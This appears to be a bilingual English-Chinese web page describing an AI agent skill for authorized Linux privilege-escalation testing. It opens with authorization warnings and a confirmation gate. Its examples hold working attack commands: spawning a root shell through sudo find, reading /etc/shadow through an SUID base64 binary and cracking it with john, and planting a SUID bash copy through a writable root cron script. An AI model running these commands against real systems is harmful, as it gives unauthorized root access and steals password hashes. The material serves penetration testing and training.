Back to Details

linux-privilege-escalation

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese
⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
⚠️ 仅限授权使用 本 skill 仅用于教育目的或已授权的安全评估。 使用本工具前，您必须获得系统所有者明确的书面许可。 滥用本工具属于违法行为，并受到严格禁止。
强制确认环节 在运行任何针对目标进行探测、利用、修改、持久化、数据提取或尝试访问凭据的命令之前：
  1. 要求用户说明确切的目标 URL、IP、账户或资源。
  2. 要求用户确认已获得书面授权以及允许的范围。
  3. 展示确切的命令并解释其预期效果。
  4. 等待当前对话中的明确确认。
未经该确认，应保持只读状态并仅提供防御性指导。优先使用沙箱、一次性 VM 或受控实验室。
仅限授权使用：仅将本 skill 用于已授权的安全评估、防御性验证或受控教育环境。

Linux Privilege Escalation

Linux 权限提升

Detailed Guide

详细指南

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.
执行本 skill 前请阅读详细指南。该指南保留了完整的操作流程和参考资料。必须遵守其中的安全要求、前置条件和验证要求。针对特定任务时，请加载相关章节；执行端到端工作时，请完整阅读该指南。

Constraints and Guardrails

约束与防护措施

Operational Boundaries

操作边界

  • Verify kernel exploits in test environment before production use
  • Failed kernel exploits may crash the system
  • Document all changes made during privilege escalation
  • Maintain access persistence only as authorized
  • 在生产环境中使用前，应先在测试环境中验证内核漏洞利用方式
  • 失败的内核漏洞利用可能导致系统崩溃
  • 记录权限提升过程中进行的所有更改
  • 仅在获得授权后维持访问持久化

Technical Limitations

技术限制

  • Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
  • AppArmor/SELinux may restrict exploitation techniques
  • Containers commonly share the host kernel; kernel exploit testing may affect the host and requires explicit host scope
  • Hardened systems may have restricted sudo configurations
  • 现代内核可能包含漏洞利用缓解机制（ASLR、SMEP、SMAP）
  • AppArmor/SELinux 可能会限制漏洞利用技术
  • 容器通常共享主机内核；内核漏洞利用测试可能影响主机，因此需要明确的主机测试范围
  • 加固系统可能会限制 sudo 配置

Legal and Ethical Requirements

法律与道德要求

  • Written authorization required before testing
  • Stay within defined scope boundaries
  • Report critical findings immediately
  • Do not access data beyond scope requirements
  • 测试前必须获得书面授权
  • 必须遵守已定义的范围边界
  • 立即报告严重发现
  • 不得访问超出约定范围的数据

Examples

示例

Example 1: Sudo to Root via find

示例 1：通过 find 提权至 Root

Scenario: User has sudo rights for find command
bash
$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
场景：用户拥有 find 命令的 sudo 权限
bash
$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit

id

id

uid=0(root) gid=0(root) groups=0(root)
undefined
uid=0(root) gid=0(root) groups=0(root)
undefined

Example 2: SUID base64 for Shadow Access

示例 2：通过 SUID base64 访问 Shadow

Scenario: base64 binary has SUID bit set
bash
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
场景：base64 二进制文件已设置 SUID 位
bash
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

Crack offline with john

Crack offline with john

$ john --wordlist=rockyou.txt shadow.txt
undefined
$ john --wordlist=rockyou.txt shadow.txt
undefined

Example 3: Cron Job Script Hijacking

示例 3：劫持 Cron Job 脚本

Scenario: Root cron job executes writable script
bash
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
场景：Root Cron Job 执行可写脚本
bash
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

Wait 1 minute

Wait 1 minute

$ /tmp/bash -p
$ /tmp/bash -p

id

id

uid=1000(user) gid=1000(user) euid=0(root)
undefined
uid=1000(user) gid=1000(user) euid=0(root)
undefined

When to Use

何时使用

This skill is applicable to execute the workflow or actions described in the overview.
本 skill 适用于执行概览中描述的工作流或操作。